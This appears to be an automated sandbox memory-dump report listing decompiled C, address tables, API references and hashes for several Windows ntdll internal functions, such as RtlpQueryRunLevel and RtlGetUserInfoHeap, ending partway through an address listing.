Part of subcall function 6D241986: RtlIsValidIndexHandle.1105(?,?,00000000,?,?,6D2413F2,6D31F288,00000044), ref: 6D241995

Strings

Atom, xrefs: 6D2417C7

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$AcquireAtomHandleIndexIntegerReleaseValid_wcsicmp
String ID: Atom
API String ID: 2453091922-2154973765
Opcode ID: 0dc161bf406fc44f1236f2773d09ff034866e12fb4c3de6c264e27fa1d9cf3b0
Instruction ID: bc7c9ec130ab6428fe6605269ed712bf73fac92bf18e182bc8de401bb9500746
Opcode Fuzzy Hash: 0dc161bf406fc44f1236f2773d09ff034866e12fb4c3de6c264e27fa1d9cf3b0
Instruction Fuzzy Hash: AA31B139D9521FCBEB46CF95C440AAEB369BF09744B01C12AED24EB240D7358D9287A1

Uniqueness

Uniqueness Score: -1.00%

Function 6D2D4955, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 81
COMMON

Download Yara Rule

C-Code - Quality: 41%

			E6D2D4955(void* __ecx, void* __edx, intOrPtr* _a4) {
				char _v52;
				char _v56;
				char _v60;
				char _v64;
				intOrPtr _v68;
				char _v72;
				intOrPtr _v104;
				intOrPtr _t36;
				intOrPtr _t38;
				signed char* _t41;
				void* _t44;
				void* _t49;
				intOrPtr _t54;
				intOrPtr* _t55;
				intOrPtr _t61;

				_v72 = 0xc00000e5;
				_t58 = 1;
				_t44 = __edx;
				_t61 = 0;
				_v68 = 0;
				E6D271D47( &_v72,  &_v52, 0x30,  &_v56, 0x30, __edx, __ecx, 1,  &_v60,  &_v64);
				if(_v104 == 1) {
					_t36 =  *((intOrPtr*)(_t44 + 0x18));
					_t54 =  *((intOrPtr*)(_t36 + _t44 + 8));
					_t49 =  *((intOrPtr*)(_t36 + _t44 + 0xc)) + _t44;
					__eflags = 1 - _t54;
					if(__eflags < 0) {
						_t16 = _t49 + 0x18; // 0x116
						_t41 = _t16;
						while(1) {
							__eflags =  *_t41 & 0x00000002;
							if(( *_t41 & 0x00000002) != 0) {
								break;
							}
							_t58 = _t58 + 1;
							_t41 =  &(_t41[0x18]);
							__eflags = _t58 - _t54;
							if(_t58 < _t54) {
								continue;
							}
							break;
						}
						__eflags = _t58 - _t54;
					}
					if(__eflags != 0) {
						_t38 =  *((intOrPtr*)(_t58 * 0x18 + _t49 + 0x10));
						__eflags =  *((intOrPtr*)(_t38 + _t44)) - 0x6c;
						if( *((intOrPtr*)(_t38 + _t44)) == 0x6c) {
							_t55 = _a4;
							 *_t55 = _t61;
							_t24 = _t44 + 0x64; // 0x0
							 *((intOrPtr*)(_t55 + 4)) =  *((intOrPtr*)(_t38 + _t24));
							_t27 = _t44 + 0x68; // 0xfffffffe
							 *((intOrPtr*)(_t55 + 8)) =  *((intOrPtr*)(_t38 + _t27));
						} else {
							_push(_t44);
							_push("RtlpQueryRunLevel");
							_push("SXS: %s() found activation context data at %p with wrong format\n");
							goto L9;
						}
					} else {
						_push(_t44);
						_push("RtlpQueryRunLevel");
						_push("SXS: %s() found activation context data at %p with assembly roster that has no root\n");
						L9:
						_push(_t61);
						_push(0x33);
						E6D2D5720();
						_t61 = 0xc0150003;
					}
				} else {
					_t61 = _v72;
				}
				return _t61;
			}

0x6d2d4967
0x6d2d4977
0x6d2d497e
0x6d2d498e
0x6d2d4995
0x6d2d4999
0x6d2d49a4
0x6d2d49ae
0x6d2d49b5
0x6d2d49b9
0x6d2d49bb
0x6d2d49bd
0x6d2d49bf
0x6d2d49bf
0x6d2d49c2
0x6d2d49c2
0x6d2d49c5
0x00000000
0x00000000
0x6d2d49c7
0x6d2d49c8
0x6d2d49cb
0x6d2d49cd
0x00000000
0x00000000
0x00000000
0x6d2d49cd
0x6d2d49cf
0x6d2d49cf
0x6d2d49d1
0x6d2d49f3
0x6d2d49f7
0x6d2d49fb
0x6d2d4a0a
0x6d2d4a0d
0x6d2d4a0f
0x6d2d4a13
0x6d2d4a16
0x6d2d4a1a
0x6d2d49fd
0x6d2d49fd
0x6d2d49fe
0x6d2d4a03
0x00000000
0x6d2d4a03
0x6d2d49d3
0x6d2d49d3
0x6d2d49d4
0x6d2d49d9
0x6d2d49de
0x6d2d49de
0x6d2d49df
0x6d2d49e1
0x6d2d49e9
0x6d2d49e9
0x6d2d49a6
0x6d2d49a6
0x6d2d49aa
0x6d2d4a25

APIs

Part of subcall function 6D271D47: memset.1105(00000000,00000000,6D2917F0,?,00000001,00000000,?,6D248D70,00000000,?,?,00000030,?,?,00000001,?), ref: 6D271D87

DbgPrintEx.1105(00000033,00000000,SXS: %s() found activation context data at %p with wrong format,RtlpQueryRunLevel,?,?,00000030,?,00000030,?,?,00000001,?,?), ref: 6D2D49E1

Strings

SXS: %s() found activation context data at %p with assembly roster that has no root, xrefs: 6D2D49D9
RtlpQueryRunLevel, xrefs: 6D2D49D4, 6D2D49FE
SXS: %s() found activation context data at %p with wrong format, xrefs: 6D2D4A03

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: Printmemset
String ID: RtlpQueryRunLevel$SXS: %s() found activation context data at %p with assembly roster that has no root$SXS: %s() found activation context data at %p with wrong format
API String ID: 4188176266-4139752556
Opcode ID: 171c1074d0486ea5ebecb78f6515ee4e63822408f3aa562baf96b3720c46f565
Instruction ID: 0a02bafc0b10b8787f47762f2fa1fd06958152f0b64b7d2f15d318d6a3267318
Opcode Fuzzy Hash: 171c1074d0486ea5ebecb78f6515ee4e63822408f3aa562baf96b3720c46f565
Instruction Fuzzy Hash: 2C2129B2A48319AFC325CF09C880E5BB7EDEBC9318F05825EF9445B246D630ED41C6A1

Uniqueness

Uniqueness Score: -1.00%

Function 6D30387C, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70
timeCOMMON

Download Yara Rule

C-Code - Quality: 56%

			E6D30387C(void* __ebx, intOrPtr* __ecx, signed int __edx, intOrPtr __edi, void* __esi, void* __eflags) {
				char _t33;
				signed int _t57;
				void* _t61;

				_t58 = __edi;
				_push(0x1c);
				_push(0x6d320f20);
				E6D29D0E8(__ebx, __edi, __esi);
				_t48 = __edx;
				_t60 = __ecx;
				 *((intOrPtr*)(_t61 - 0x2c)) = __ecx;
				 *((char*)(_t61 - 0x1d)) = 0;
				 *((char*)(_t61 - 0x1e)) = 0;
				if(( *(__ecx + 0x44) & 0x01000000) == 0) {
					 *(_t61 - 4) = 0;
					 *(_t61 - 4) = 1;
					_t33 = E6D2440E1("RtlGetUserInfoHeap");
					__eflags = _t33;
					if(_t33 != 0) {
						_t48 = __edx |  *(__ecx + 0x44) | 0x10000000;
						 *(_t61 - 0x28) = _t48;
						__eflags = _t48 & 0x00000001;
						if((_t48 & 0x00000001) == 0) {
							L6D25EEF0( *((intOrPtr*)(__ecx + 0xc8)));
							 *((char*)(_t61 - 0x1e)) = 1;
							_t48 = _t48 | 0x00000001;
							__eflags = _t48;
							 *(_t61 - 0x28) = _t48;
						}
						E6D304496(_t60, 0);
						_t58 =  *((intOrPtr*)(_t61 + 8));
						_t57 = _t58 - 8;
						__eflags =  *((char*)(_t57 + 7)) - 5;
						if( *((char*)(_t57 + 7)) == 5) {
							__eflags = _t57;
						}
						__eflags = E6D243FC5(_t57, "RtlGetUserInfoHeap");
						if(__eflags != 0) {
							_push( *((intOrPtr*)(_t61 + 0x10)));
							_push( *((intOrPtr*)(_t61 + 0xc)));
							_push(_t58);
							_push(_t48);
							_push(_t60);
							 *((char*)(_t61 - 0x1d)) = E6D241C70(_t48, _t58, _t60, __eflags);
						}
					} else {
						 *((char*)(_t61 - 0x1d)) = _t33;
					}
					_t27 = _t61 - 4;
					 *_t27 =  *(_t61 - 4) & 0x00000000;
					__eflags =  *_t27;
					 *(_t61 - 4) = 0xfffffffe;
					E6D30399A();
				} else {
					_t60 =  *0x6d33573c; // 0x0
					 *0x6d33b1e0(__ecx, __edx,  *((intOrPtr*)(_t61 + 8)),  *((intOrPtr*)(_t61 + 0xc)),  *((intOrPtr*)(_t61 + 0x10)));
					 *_t60();
				}
				return E6D29D130(_t48, _t58, _t60);
			}

0x6d30387c
0x6d30387c
0x6d30387e
0x6d303883
0x6d303888
0x6d30388a
0x6d30388c
0x6d303891
0x6d303894
0x6d30389e
0x6d3038c0
0x6d3038c3
0x6d3038d1
0x6d3038d6
0x6d3038d8
0x6d3038ea
0x6d3038ec
0x6d3038ef
0x6d3038f2
0x6d3038fa
0x6d3038ff
0x6d303903
0x6d303903
0x6d303906
0x6d303906
0x6d30390d
0x6d303912
0x6d303915
0x6d303918
0x6d30391c
0x6d303925
0x6d303925
0x6d303933
0x6d303935
0x6d303937
0x6d30393a
0x6d30393d
0x6d30393e
0x6d30393f
0x6d303945
0x6d303945
0x6d3038da
0x6d3038da
0x6d3038da
0x6d30397f
0x6d30397f
0x6d30397f
0x6d303983
0x6d30398a
0x6d3038a0
0x6d3038ab
0x6d3038b3
0x6d3038b9
0x6d3038b9
0x6d303997

APIs

RtlDebugPrintTimes.1105(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6D320F20), ref: 6D3038B3

Strings

RtlGetUserInfoHeap, xrefs: 6D3038CA, 6D303927

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: DebugPrintTimes
String ID: RtlGetUserInfoHeap
API String ID: 3446177414-1656697243
Opcode ID: fd42cd7e0f5cf7dabb7b52376599357eebb82722fbedf4c7201e3cd11bf0828d
Instruction ID: 87fb06270b5be7a89cea2618c8121f605bae0e676d5c208ea2670d5aa9d20f25
Opcode Fuzzy Hash: fd42cd7e0f5cf7dabb7b52376599357eebb82722fbedf4c7201e3cd11bf0828d
Instruction Fuzzy Hash: 1021D331948259AFDF12CFB8C900BEEBF75BF45314F05C058EA946B292C7724A55DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6D2C3E13, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E6D2C3E13(void* __ecx, wchar_t* __edx) {
				wchar_t* _v8;
				long _t4;
				void* _t8;
				long _t21;
				wchar_t* _t23;

				_push(__ecx);
				_t23 = __edx;
				_t8 = __ecx;
				_t4 = wcschr(__edx, 0x2c);
				if(_t4 != 0) {
					 *_t4 = 0;
					_t4 = wcstoul(_t4 + 2,  &_v8, 0x10);
					_t21 = _t4;
					if(_t21 != 0) {
						_push(_t21);
						_push(_t8 + 0x24);
						E6D2D5720(0x55, 3, "CLIENT(ntdll): Tyring to fix protection for %ws section in %wZ module to 0x%X\n", _t23);
						_t4 = E6D2C3C93( *((intOrPtr*)(_t8 + 0x18)), _t23, _t21);
					}
				}
				return _t4;
			}

0x6d2c3e18
0x6d2c3e1c
0x6d2c3e1e
0x6d2c3e23
0x6d2c3e2c
0x6d2c3e30
0x6d2c3e3d
0x6d2c3e42
0x6d2c3e49
0x6d2c3e4b
0x6d2c3e4f
0x6d2c3e5a
0x6d2c3e68
0x6d2c3e68
0x6d2c3e49
0x6d2c3e73

APIs

wcschr.1105(?,0000002C,?,?,00000000,?,?,6D2A060B), ref: 6D2C3E23
wcstoul.1105(-00000002,6D2A060B,00000010,?,?,00000000,?,?,6D2A060B), ref: 6D2C3E3D
DbgPrintEx.1105(00000055,00000003,CLIENT(ntdll): Tyring to fix protection for %ws section in %wZ module to 0x%X,?,?,00000000,?,?,6D2A060B), ref: 6D2C3E5A

Part of subcall function 6D2C3C93: wcschr.1105(?,0000003D,00000000,?), ref: 6D2C3CAC
Part of subcall function 6D2C3C93: RtlInitUnicodeString.1105(?,-00000002,00000000,?), ref: 6D2C3CD0
Part of subcall function 6D2C3C93: RtlAnsiStringToUnicodeString.1105(?,?,00000001,00000000,?), ref: 6D2C3D72
Part of subcall function 6D2C3C93: RtlCompareUnicodeString.1105(?,?,00000001,?,?,00000001,00000000,?), ref: 6D2C3D89
Part of subcall function 6D2C3C93: RtlFreeUnicodeString.1105(?,00000000,?), ref: 6D2C3DED

Strings

CLIENT(ntdll): Tyring to fix protection for %ws section in %wZ module to 0x%X, xrefs: 6D2C3E51

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: String$Unicode$wcschr$AnsiCompareFreeInitPrintwcstoul
String ID: CLIENT(ntdll): Tyring to fix protection for %ws section in %wZ module to 0x%X
API String ID: 2652356044-1863042022
Opcode ID: a037d900984b5312d1d2146773a4cb64b0ea913cd3031d3b31fe06a034dab76a
Instruction ID: 1ecc2532f66a086d394761716f0002c3b4e001b074a40104f8f73e3efcc5f494
Opcode Fuzzy Hash: a037d900984b5312d1d2146773a4cb64b0ea913cd3031d3b31fe06a034dab76a
Instruction Fuzzy Hash: A0F0F63228420936E719525A9C47FBB275CCF86A61F11016DFA289B282EAA5DD10C2F1

Uniqueness

Uniqueness Score: -1.00%

Function 6D27BDFC, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 56%

			E6D27BDFC(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, intOrPtr _a4) {
				char _v12;
				signed int _v16;
				char _v20;
				void* _t21;
				intOrPtr _t24;
				char _t26;
				signed int _t27;
				void* _t31;
				intOrPtr _t32;
				intOrPtr _t33;
				void* _t39;
				char _t41;
				void* _t42;
				intOrPtr _t43;
				intOrPtr _t44;
				intOrPtr _t45;
				intOrPtr _t46;
				intOrPtr _t50;
				intOrPtr _t55;
				intOrPtr _t56;
				void* _t60;
				void* _t62;

				_t39 = __ebx;
				_push(__edi);
				E6D262280(_t21, 0x6d3379e4);
				_t55 =  *0x6d33b328; // 0x1
				if(_a4 != 0) {
					if(_t55 == 0) {
						goto L9;
					} else {
						_t56 = _t55 - 1;
						 *0x6d33b328 = _t56;
						if(_t56 == 0) {
							_push(2);
							L10();
						}
						goto L5;
					}
				} else {
					if(_t55 == 0) {
						_push(4);
						L10();
					}
					if(_t55 == 0xffffffff) {
						L9:
						E6D25FFB0(_t39, 0x6d3379e4, 0x6d3379e4);
						_t41 = 0xe;
						asm("int 0x29");
						_t60 = _t62;
						_t24 =  *0x6d33b22c; // 0x0
						_v20 = _t41;
						if(_t24 == 0) {
							E6D2CB21E(_t41);
						}
						_t26 =  *0x6d33b22c; // 0x0
						_v20 = _t26;
						_t27 =  *0x6d33b220; // 0x0
						_v16 = _t27;
						_push( &_v12);
						_push(_v12);
						_push( &_v16);
						_push( &_v20);
						_push(0xffffffff);
						_t31 = E6D289A00();
						if(_t31 < 0) {
							_t42 = 5;
							asm("int 0x29");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							_push(_t60);
							_push(_t42);
							_push(_t42);
							_t32 =  *[fs:0x18];
							_t43 =  *((intOrPtr*)(_t32 + 0xfdc));
							if(_t43 < 0) {
								_t32 = _t32 + _t43;
							}
							_t44 =  *[fs:0x18];
							_t50 =  *((intOrPtr*)(_t44 + 0xfdc));
							if(_t50 < 0) {
								_t44 = _t44 + _t50;
							}
							_t33 =  *[fs:0x18];
							_t45 =  *((intOrPtr*)(_t33 + 0xfdc));
							if(_t32 ==  *((intOrPtr*)(_t44 + 0x18))) {
								if(_t45 < 0) {
									_t33 = _t33 + _t45;
								}
								_t46 =  *((intOrPtr*)(_t33 + 0xfac));
								_v16 = _v16 & 0x00000000;
							} else {
								if(_t45 < 0) {
									_t33 = _t33 + _t45;
								}
								_t46 =  *((intOrPtr*)(_t33 + 0x17b8));
								_v16 =  *(_t33 + 0x17bc);
							}
							 *((intOrPtr*)( *[fs:0x18] + 0xfac)) = _t46;
							return  *((intOrPtr*)( *[fs:0x18] + 0xfac));
						} else {
							return _t31;
						}
					} else {
						 *0x6d33b328 = _t55 + 1;
						L5:
						return E6D25FFB0(_t39, 0x6d3379e4, 0x6d3379e4);
					}
				}
			}

0x6d27bdfc
0x6d27be02
0x6d27be09
0x6d27be12
0x6d27be18
0x6d27be40
0x00000000
0x6d27be42
0x6d27be42
0x6d27be45
0x6d27be4b
0x6d27be4d
0x6d27be50
0x6d27be50
0x00000000
0x6d27be4b
0x6d27be1a
0x6d27be1c
0x6d27be1e
0x6d27be21
0x6d27be21
0x6d27be29
0x6d27be57
0x6d27be58
0x6d27be5f
0x6d27be60
0x6d27be65
0x6d27be6a
0x6d27be6f
0x6d27be74
0x6d27bea4
0x6d27bea4
0x6d27be76
0x6d27be7b
0x6d27be7e
0x6d27be83
0x6d27be89
0x6d27be8a
0x6d27be90
0x6d27be94
0x6d27be95
0x6d27be97
0x6d27be9e
0x6d27bead
0x6d27beae
0x6d27beb0
0x6d27beb1
0x6d27beb2
0x6d27beb3
0x6d27beb4
0x6d27beb5
0x6d27beb6
0x6d27beb7
0x6d27beb8
0x6d27beb9
0x6d27beba
0x6d27bebb
0x6d27bebc
0x6d27bebd
0x6d27bebe
0x6d27bebf
0x6d27bec2
0x6d27bec5
0x6d27bec6
0x6d27bec7
0x6d27becd
0x6d27bed5
0x6d27bed7
0x6d27bed7
0x6d27bed9
0x6d27bee0
0x6d27bee8
0x6d27beea
0x6d27beea
0x6d27beef
0x6d27bef5
0x6d27befb
0x6d2ba550
0x6d2ba552
0x6d2ba552
0x6d2ba554
0x6d2ba55a
0x6d27bf01
0x6d27bf03
0x6d27bf05
0x6d27bf05
0x6d27bf07
0x6d27bf13
0x6d27bf13
0x6d27bf1c
0x6d27bf31
0x6d27bea3
0x6d27bea3
0x6d27bea3
0x6d27be2b
0x6d27be2c
0x6d27be32
0x6d27be3b
0x6d27be3b
0x6d27be29

APIs

RtlAcquireSRWLockExclusive.1105(6D3379E4,6D338654,00000000,?,6D280492,00000000,?,6D280459,6D338654,?,?,?,6D28042F,?,6D25ECE6,6D3384D8), ref: 6D27BE09
RtlReleaseSRWLockExclusive.1105(6D3379E4,6D3379E4,6D338654,00000000,?,6D280492,00000000,?,6D280459,6D338654,?,?,?,6D28042F,?,6D25ECE6), ref: 6D27BE33
RtlReleaseSRWLockExclusive.1105(6D3379E4,6D3379E4,6D338654,00000000,?,6D280492,00000000,?,6D280459,6D338654,?,?,?,6D28042F,?,6D25ECE6), ref: 6D27BE58

Part of subcall function 6D27BE62: ZwProtectVirtualMemory.1105(000000FF,?,00000000,-00000F38,-00000F38,?), ref: 6D27BE97

Strings

y3m, xrefs: 6D27BE03

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$Release$AcquireMemoryProtectVirtual
String ID: y3m
API String ID: 1407556199-3071748732
Opcode ID: 5a1bf2406b0ae12db6e0846d4bc972174ea4576fed90c22a3e2a4683b15855cd
Instruction ID: 6f22e5a1cabeaeac215b79c960dcc9be3283bedba74e7d6bd2e975995b4c56a6
Opcode Fuzzy Hash: 5a1bf2406b0ae12db6e0846d4bc972174ea4576fed90c22a3e2a4683b15855cd
Instruction Fuzzy Hash: 79F090728C877A63C2311A248940B3B67288B42F79F92412AEB602F2D0C77488818197

Uniqueness

Uniqueness Score: -1.00%

Function 6D241FA1, Relevance: 6.3, APIs: 4, Instructions: 266
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E6D241FA1(unsigned int __ecx, signed int __edx, signed int _a4, void* _a8, signed int* _a12, char _a16) {
				signed int _v8;
				void _v1036;
				char _v2068;
				char _v2069;
				signed int _v2076;
				signed int _v2080;
				void* _v2084;
				signed int _v2088;
				signed int _v2092;
				signed char _v2096;
				signed int _v2100;
				signed int _v2104;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t86;
				signed int _t87;
				signed int _t92;
				signed int _t95;
				signed int _t97;
				signed int _t100;
				void* _t104;
				signed int _t106;
				void* _t110;
				signed int _t112;
				signed int _t123;
				signed int* _t126;
				unsigned int _t127;
				signed int _t134;
				void* _t137;
				void* _t139;
				signed int _t142;
				signed int _t151;
				signed int _t153;
				signed int _t160;
				signed int _t162;

				_t146 = __edx;
				_t127 = __ecx;
				_v8 =  *0x6d33d360 ^ _t153;
				_t86 = _a8;
				_v2080 = __edx;
				_v2084 = _t86;
				_t126 = _a12;
				_t151 = _a4;
				if(__edx == 0 || _t151 < 0xffffffff || _t126 == 0) {
					L25:
					_t87 = 0xc000000d;
					goto L20;
				} else {
					_t149 =  *_t126;
					_v2088 = _t149;
					_t160 = _t149;
					if(_t160 < 0 || _t160 > 0 && _t86 == 0) {
						goto L25;
					} else {
						_t162 = _t127 & 0xfffffff8;
						if(_t162 != 0) {
							goto L25;
						}
						_v2069 = 0;
						_v2104 = _t127 & 0x00000001;
						_t92 = _t127 & 0x00000004;
						_v2092 = _t92;
						_t93 = _t92 & 0xffffff00 | _t162 != 0x00000000;
						_t131 = _t127 >> 0x00000001 & 0x00000001;
						_v2100 = _t92 & 0xffffff00 | _t162 != 0x00000000;
						_v2096 = _t127 >> 0x00000001 & 0x00000001;
						if(_t151 == 0xffffffff) {
							_t146 = 0x7fffffff;
							_t95 = E6D25347D(_v2080, 0x7fffffff,  &_v2076);
							__eflags = _t95;
							if(_t95 < 0) {
								goto L25;
							}
							_t146 = _v2080;
							_t151 = _v2076 + 1;
							_t93 = _v2100;
							_t131 = _v2096;
						}
						if(_t151 > 0) {
							_t149 = _v2088;
							if( *((intOrPtr*)(_t146 + _t151 * 2 - 2)) == 0) {
								_v2069 = 1;
								_t151 = _t151 - 1;
							}
						}
						_t146 = _t151;
						if(E6D24211D(_v2080, _t151, _t93, _t131) == 0) {
							_t97 = 0x1ff;
							_t134 = 0;
							_t149 = 0;
							_t146 =  &_v1036;
							__eflags = _v2092;
							if(_v2092 == 0) {
								L32:
								__eflags = _t134 - _t151;
								if(_t134 >= _t151) {
									L36:
									__eflags = _t149;
									if(_t149 <= 0) {
										L40:
										_v2076 = 0x203;
										_t146 = _t149;
										_t87 = E6D2F8061( &_v1036, _t149,  &_v2068,  &_v2076, _v2100, _v2096);
										_t151 = _v2076;
										__eflags = _t151;
										if(_t151 == 0) {
											goto L74;
										}
										__eflags = _a16;
										if(_a16 == 0) {
											L64:
											__eflags = _v2069;
											if(_v2069 == 0) {
												L68:
												_t137 = _v2084;
												__eflags = _t137;
												if(_t137 == 0) {
													L72:
													 *_t126 = _t149;
													goto L19;
												}
												_t100 = _v2088;
												__eflags = _t100;
												if(_t100 == 0) {
													goto L72;
												}
												__eflags = _t149 - _t100;
												if(_t149 > _t100) {
													goto L73;
												}
												memcpy(_t137,  &_v1036, _t149 + _t149);
												goto L72;
											}
											__eflags = _t149 - 0x1ff;
											if(_t149 > 0x1ff) {
												L57:
												_t87 = 0xc0000716;
												goto L74;
											}
											_t104 = _t149 + _t149;
											_t149 = _t149 + 1;
											__eflags = _t104 - 0x3fe;
											if(_t104 >= 0x3fe) {
												L63:
												E6D28B75A();
												goto L64;
											}
											__eflags = 0;
											 *((short*)(_t153 + _t104 - 0x408)) = 0;
											goto L68;
										}
										__eflags = _v2069;
										if(_v2069 == 0) {
											L46:
											_t139 = _v2084;
											__eflags = _t139;
											if(_t139 == 0) {
												goto L18;
											}
											_t106 = _v2088;
											__eflags = _t106;
											if(_t106 == 0) {
												goto L18;
											}
											__eflags = _t151 - _t106;
											if(_t151 > _t106) {
												goto L73;
											}
											_push(_t151 + _t151);
											_push( &_v2068);
											goto L17;
										}
										__eflags = _t151 - 0x203;
										if(_t151 >= 0x203) {
											goto L57;
										}
										_t110 = _t151 + _t151;
										_t151 = _t151 + 1;
										__eflags = _t110 - 0x406;
										if(_t110 >= 0x406) {
											goto L63;
										}
										__eflags = 0;
										 *((short*)(_t153 + _t110 - 0x810)) = 0;
										goto L46;
									}
									_t146 =  *(_t153 + _t149 * 2 - 0x40a) & 0x0000ffff;
									__eflags = _t146 - 0x2e;
									if(_t146 != 0x2e) {
										L39:
										__eflags = _t146;
										if(_t146 == 0) {
											goto L57;
										}
										goto L40;
									}
									_t112 = E6D2F7F39( *((intOrPtr*)(_v2080 + _t151 * 2 - 2)));
									__eflags = _t112;
									if(_t112 == 0) {
										goto L57;
									}
									goto L39;
								}
								_v2076 = _t97;
								_t87 = E6D2FB140(_t134, ((_v2104 & 0x000000ff ^ 0x00000001) << 8) + 0xd, _v2080 + _t134 * 2, _t151 - _t134, _t146,  &_v2076);
								_t142 = _v2076;
								__eflags = _t87;
								if(__eflags < 0) {
									L59:
									if(__eflags == 0) {
										goto L57;
									}
									__eflags = _t87 - 0xc0000023;
									if(_t87 == 0xc0000023) {
										goto L57;
									}
									__eflags = _t87 - 0xc0000717;
									if(_t87 == 0xc0000717) {
										goto L57;
									}
									__eflags = _t142;
									L56:
									if(__eflags <= 0) {
										goto L74;
									}
									goto L57;
								}
								__eflags = _t142;
								if(_t142 == 0) {
									__eflags = _t87;
									goto L59;
								}
								_t149 = _t149 + _t142;
								__eflags = _t149;
								goto L36;
							}
							_t149 = _v2080;
							_t146 = _t151;
							_t123 = E6D2F7EC9(_v2080, _t151);
							_v2092 = _t123;
							__eflags = _t123;
							if(_t123 == 0) {
								goto L57;
							}
							_v2076 = 0x1ff;
							_t87 = E6D2FB140( &_v1036, 1, _t149, _t123,  &_v1036,  &_v2076);
							_t149 = _v2076;
							__eflags = _t87;
							if(__eflags < 0) {
								L51:
								if(__eflags == 0) {
									goto L57;
								}
								__eflags = _t87 - 0xc0000023;
								if(_t87 == 0xc0000023) {
									goto L57;
								}
								__eflags = _t87 - 0xc0000717;
								if(_t87 == 0xc0000717) {
									goto L57;
								}
								__eflags = _t149;
								goto L56;
							}
							__eflags = _t149;
							if(_t149 == 0) {
								__eflags = _t87;
								goto L51;
							}
							_t134 = _v2092;
							_t146 =  &_v1036 + _t149 * 2;
							_t97 = 0x1ff - _t149;
							__eflags = 0x1ff;
							goto L32;
						} else {
							if(_t151 == 0) {
								_t87 = 0xc0000716;
								L20:
								return E6D28B640(_t87, _t126, _v8 ^ _t153, _t146, _t149, _t151);
							}
							if(_v2069 != 0) {
								_t151 = _t151 + 1;
							}
							_t139 = _v2084;
							if(_t139 == 0 || _t149 == 0) {
								L18:
								 *_t126 = _t151;
								L19:
								_t87 = 0;
								goto L20;
							} else {
								if(_t151 > _t149) {
									L73:
									_t87 = 0xc0000023;
									L74:
									 *_t126 = 0;
									goto L20;
								}
								_push(_t151 + _t151);
								_push(_v2080);
								L17:
								memcpy(_t139, ??, ??);
								goto L18;
							}
						}
					}
				}
			}

0x6d241fa1
0x6d241fa1
0x6d241fb3
0x6d241fb6
0x6d241fb9
0x6d241fbf
0x6d241fc6
0x6d241fca
0x6d241fd0
0x6d242116
0x6d242116
0x00000000
0x6d241fe7
0x6d241fe7
0x6d241fe9
0x6d241fef
0x6d241ff1
0x00000000
0x6d242001
0x6d242001
0x6d242007
0x00000000
0x00000000
0x6d24200f
0x6d242019
0x6d242021
0x6d242024
0x6d24202a
0x6d24202f
0x6d242032
0x6d242038
0x6d242041
0x6d2420d7
0x6d2420dc
0x6d2420e1
0x6d2420e3
0x00000000
0x00000000
0x6d2420eb
0x6d2420f1
0x6d2420f2
0x6d2420f8
0x6d2420f8
0x6d242049
0x6d242052
0x6d242058
0x6d242103
0x6d24210a
0x6d24210a
0x6d242058
0x6d242065
0x6d24206f
0x6d29f32f
0x6d29f334
0x6d29f336
0x6d29f338
0x6d29f33e
0x6d29f344
0x6d29f3b0
0x6d29f3b0
0x6d29f3b2
0x6d29f401
0x6d29f401
0x6d29f403
0x6d29f433
0x6d29f43f
0x6d29f44f
0x6d29f45f
0x6d29f464
0x6d29f46a
0x6d29f46c
0x00000000
0x00000000
0x6d29f472
0x6d29f476
0x6d29f510
0x6d29f510
0x6d29f517
0x6d29f536
0x6d29f536
0x6d29f53c
0x6d29f53e
0x6d29f562
0x6d29f562
0x00000000
0x6d29f562
0x6d29f540
0x6d29f546
0x6d29f548
